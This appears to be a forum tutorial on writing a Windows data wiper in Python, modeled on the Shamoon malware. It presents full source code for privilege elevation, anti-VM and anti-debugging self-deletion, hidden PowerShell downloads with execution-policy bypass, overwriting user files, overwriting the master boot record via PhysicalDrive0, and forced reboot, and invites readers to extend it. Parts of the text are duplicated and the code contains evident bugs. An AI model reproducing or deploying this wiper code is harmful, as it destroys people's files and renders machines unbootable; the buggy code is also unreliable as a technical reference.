# Introduction
In this article, I’ll describe how to write a malware, Please notice this is not a “true” malware this is only has to show you the basics and even how easy to be written, Probably python is not the best choice at all, It’s an interpreted language and so it needs an interpreter to be executed so to write a malware probably other languages that can work to a lower level and that can be compiled are probably a better choice, malware is often designed to be small, stealthy, have low memory footprint, and use limited processing power, So it’s very common to see malware written in C & Assembly.
Overview
At first, I will show its code then I will describe generally how this malware works, code consisted of two components: we are talking only about windows, The techniques you gone see in this malware are taken from a public malware samples, Notice that it is not “true” malware It was simply something I consider trying after reading an article on the infemous Shamoon Wiper know as Disttrack, So why not writing a simple Python wiper. you can contribute to this Project and make it more advanced Here the source code
First of all we includes a few essential libraries
It seems to be self explanatory
it checks if it has Administrator privileges, if it doesn’t it runs `RunAsAdmin` using the ShellExecute trick `runas` to elevate privileges, and exits immediately
Re-run the program with admin rights
it just check if the current process is a 64-bit using `platform` lib this function it’s gone be called later in `InstallPy` to determine which version of python should be installed, a simple if statement.
`IsOnline` This function simply checks if the infected computer is online using the “request” lib to get an HTTP response If TRUE, pass if not, the program will delete it itself why? Desperate ways to avoid analysis.
##
IsPyExist Here am using os.path.exists to see if python path exist in infected computer this can be done also by using subprocess to execute powershell cmd to check the version of python this way we can tell if python is present on the infected computer or not.
InstallPy The goal of this function is to install Python on the infected machine. The idea is that we are installing our interpreter using a language that is already built into Windows.
The Powershell part
* WindowStyle Hidden will hide the window.
* -ExecutionPolicy Bypass should already do the run as admin part
* iwr -Uri Invoke-WebRequest It parses the response and returns collections of links, The {url} will automatically download no need for user interaction -OutFile output python exe to temp directory under a random name using {rand_py}
##
* AntiDebug
isDebuggerPresent() function this is the most simplest anti-debugging technique From the MSDN’s documentation, we can see that it is a winapi function that take in no argument and return a non-zero if it detects a debugger (TRUE) or a zero which means it does not detect any debugger (FALSE) if the program retune (TRUE) the program will delete it itself
You can add More or just select specific files
Create a handle to our Physical Drive hDevice = Kernel32.CreateFileW("\\\\.\\PhysicalDrive0", 0x40000000, 0x00000001 | 0x00000002, None, 3, 0,0)
For overwriting the MBR Kernel32.WriteFile(hDevice, Data = {Hexadecimal 512 bytes} and close the handle to our Physical Drive! Kernel32.CloseHandle(hDevice)
You can defined later
In this article, I’ll describe how to write a malware, Please notice this is not a “true” malware this is only has to show you the basics and even how easy to be written, Probably python is not the best choice at all, It’s an interpreted language and so it needs an interpreter to be executed so to write a malware probably other languages that can work to a lower level and that can be compiled are probably a better choice, malware is often designed to be small, stealthy, have low memory footprint, and use limited processing power, So it’s very common to see malware written in C & Assembly.
Overview
At first, I will show its code then I will describe generally how this malware works, code consisted of two components: we are talking only about windows, The techniques you gone see in this malware are taken from a public malware samples, Notice that it is not “true” malware It was simply something I consider trying after reading an article on the infemous Shamoon Wiper know as Disttrack, So why not writing a simple Python wiper. you can contribute to this Project and make it more advanced Here the source code
First of all we includes a few essential libraries
Код:
import os
import sys
import random
import requests
import subprocess
import ctypes
from ctypes import wintypes
import psutil
import win32api
requests.packages.urllib3.disable_warnings() # Disable ssl Warning
startupinfo = subprocess.STARTUPINFO() #type: ignore
drives = win32api.GetLogicalDriveStrings()
kernel32 = ctypes.WinDLL('kernel32') # https://stackoverflow.com/questions/17033733/
It seems to be self explanatory
Python:
def RunPwsh(code):
p = subprocess.run(['powershell', code], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
return p.stdout.decode()
it checks if it has Administrator privileges, if it doesn’t it runs `RunAsAdmin` using the ShellExecute trick `runas` to elevate privileges, and exits immediately
Python:
def IsAdmin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
Re-run the program with admin rights
Python:
def RunAsAdmin():
ctypes.windll.shell32.IsUserAnAdmin() or (ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) > 32, sys.exit())
def Is64Bit():
return platform.machine().endswith('64')
it just check if the current process is a 64-bit using `platform` lib this function it’s gone be called later in `InstallPy` to determine which version of python should be installed, a simple if statement.
Python:
os_p = 64
if not Is64Bit():
os_p = 32
`IsOnline` This function simply checks if the infected computer is online using the “request” lib to get an HTTP response If TRUE, pass if not, the program will delete it itself why? Desperate ways to avoid analysis.
Python:
def IsOnline():
try:
x = requests.get('https://google.com', verify=False)
return True
except:
return False
##
Interpreter
IsPyExist Here am using os.path.exists to see if python path exist in infected computer this can be done also by using subprocess to execute powershell cmd to check the version of python this way we can tell if python is present on the infected computer or not.
Python:
p = subprocess.run(['powershell',
"""$p = &{python -V} 2>&1;$version = if($p -is [System.Management.Automation.ErrorRecord]){$p.Exception.Message}; $p"""],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True, startupinfo=startupinfo)
p.stdout.decode()
return True
for num in range(10, 45):
if os.path.exists(f"C:/Users/{os.getlogin()}/Appdata/Local/Programs/Python/Python{num}/python.exe"):
return True
return False
InstallPy The goal of this function is to install Python on the infected machine. The idea is that we are installing our interpreter using a language that is already built into Windows.
Python:
def InstallPy():
os_p = 64
if not Is64Bit():
os_p = 32
rand_py = f'python{random.randrange(111, 9999999)}.exe'
url = "https://www.python.org/ftp/python/3.8.1/python-3.8.1-amd64.exe" if os_p == 64 else "https://www.python.org/ftp/python/3.8.1/python-3.8.1.exe"
subprocess.run(
f"""powershell -ep Bypass -WindowStyle Hidden -Command "iwr -Uri {url} -OutFile c:/users/$env:username/appdata/local/temp/{rand_py}" """)
if os.path.exists(f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py}"):
subprocess.run(
f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py} /quiet InstallAllUsers=0 Include_launcher=0 PrependPath=1 Include_test=0")
os.remove(f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py}")
subprocess.run("python -m pip install --upgrade pip")
subprocess.run("python -m pip install pyinstaller psutil")
pip_list = RunPwsh("pip list")
if 'psutil' in pip_list.lower():
wait4 = os.system('msg %username% in!')
subprocess.run("msg %username% finished")
return True
The Powershell part
* WindowStyle Hidden will hide the window.
* -ExecutionPolicy Bypass should already do the run as admin part
* iwr -Uri Invoke-WebRequest It parses the response and returns collections of links, The {url} will automatically download no need for user interaction -OutFile output python exe to temp directory under a random name using {rand_py}
##
Anti-analysis-techniques
* AntiVm the following Function will search for VM Processes, the Malware will self delete anytime detect a VM the code can’t detect hardware based VM’s (like Hyper-V that accelerates in hardware e.g github workflow VPS)
Python:
def AntiVm():
Process = ["vmsrvc.exe" , "vmusrvc.exe", "vboxtray.exe", "vmtoolsd.exe", "df5serv.exe", "vboxservice.exe"]
for process in psutil.process_iter():
for i in Process:
if i in process.name().lower():
return CommitSuicide()
* AntiDebug
isDebuggerPresent() function this is the most simplest anti-debugging technique From the MSDN’s documentation, we can see that it is a winapi function that take in no argument and return a non-zero if it detects a debugger (TRUE) or a zero which means it does not detect any debugger (FALSE) if the program retune (TRUE) the program will delete it itself
Python:
def AntiDebug():
isDebuggerPresent = windll.kernel32.IsDebuggerPresent()
if (isDebuggerPresent):
return CommitSuicide()
return False
Stage 1 - Destroy files content
- the wiper start by looking for folders that contained important files, like documents, downloads, pictures, music, and videos: more or less everything that a user might value. After the code found these folders, the wiping code overwrote their contents.
File Extension target list
Код:
".m2ts", ".mkv", ".mov", ".mp4", ".mpg", ".mpeg",".jpg", ".jpeg", ".png", ".tiff", ".zip", ".7z",
".tar.gz", ".tar", ".mp3", ".sh", ".c", ".cpp", ".h", ".gif", ".txt", ".jar", ".sql", ".bundle",
".sqlite3", ".html", ".php", ".log", ".bak", ".deb"
You can add More or just select specific files
Python:
def SetFiles():
for dirpath, dirs, files in os.walk(f"C:\\Users\\{os.getlogin()}\\{os.getcwd()}"):
for f in files:
path = os.path.abspath(os.path.join(dirpath, f))
if f.endswith(tuple(ext)):
with open(f, "rb") as files:
data = files.read()
files.close()
with open(f, "wb") as files:
data.write(b'\x00') # Overwrites multiple files with zero bytes
data.close()
Stage 2 - Destroy MBR
- The master boot record. The Master Boot Record 1 is vital for a computer’s hard drive and it contains information about how to store files and what the computer should do when it starts up. Without the guidance of the master boot, it’s almost impossible for the machine to function properly
Python:
def OverWriteMBR():
hDevice = Kernel32.CreateFileW("\\\\.\\PhysicalDrive0", 0x40000000, 0x00000001 | 0x00000002, None, 3, 0,0)
Kernel32.WriteFile(hDevice, Data, None)
Kernel32.CloseHandle(hDevice)
Create a handle to our Physical Drive hDevice = Kernel32.CreateFileW("\\\\.\\PhysicalDrive0", 0x40000000, 0x00000001 | 0x00000002, None, 3, 0,0)
For overwriting the MBR Kernel32.WriteFile(hDevice, Data = {Hexadecimal 512 bytes} and close the handle to our Physical Drive! Kernel32.CloseHandle(hDevice)
You can defined later
Python:
Data = [];
Stage 3 - Remove self
* Simple function wich will called any time the program detect a vm or debuger and will be used to finaly delete the program
Python:
def CommitSuicide():
file_path = os.path.abspath(__file__)
os.remove(file_path)
folder_path = os.path.dirname(file_path)
os.system("cipher /W:%s" % folder_path)
Stage 4 - Shut it down!
* Finaly the infected system should reboot immediately
Код:
def SysDown():
# win32api.InitiateSystemShutdown(computername="",message="",timeOut=0, bForceclose=0,bRebootAfterShutdown=1)
os.system("shutdown -t 0 -r -f ") # Work Just Fine
Main function of the wiper
Python:
def main():
global application_path
if getattr(sys, 'frozen', False):
"""
If the application is run as a bundle, the PyInstaller bootloader
extends the sys module by a flag frozen=True and sets the app
path into variable _MEIPASS'.
"""
application_path = sys.executable
else:
application_path = os.path.dirname(os.path.abspath(__file__))
AntiDebug()
if not IsPyExist():
return InstallPy()
if not IsAdmin():
return RunAsAdmin()
if not IsOnline():
return CommitSuicide()
if not AntiVm():
pass
SetFiles()
OverWriteMBR()
if __name__ == "__main__":
main()
SysDown()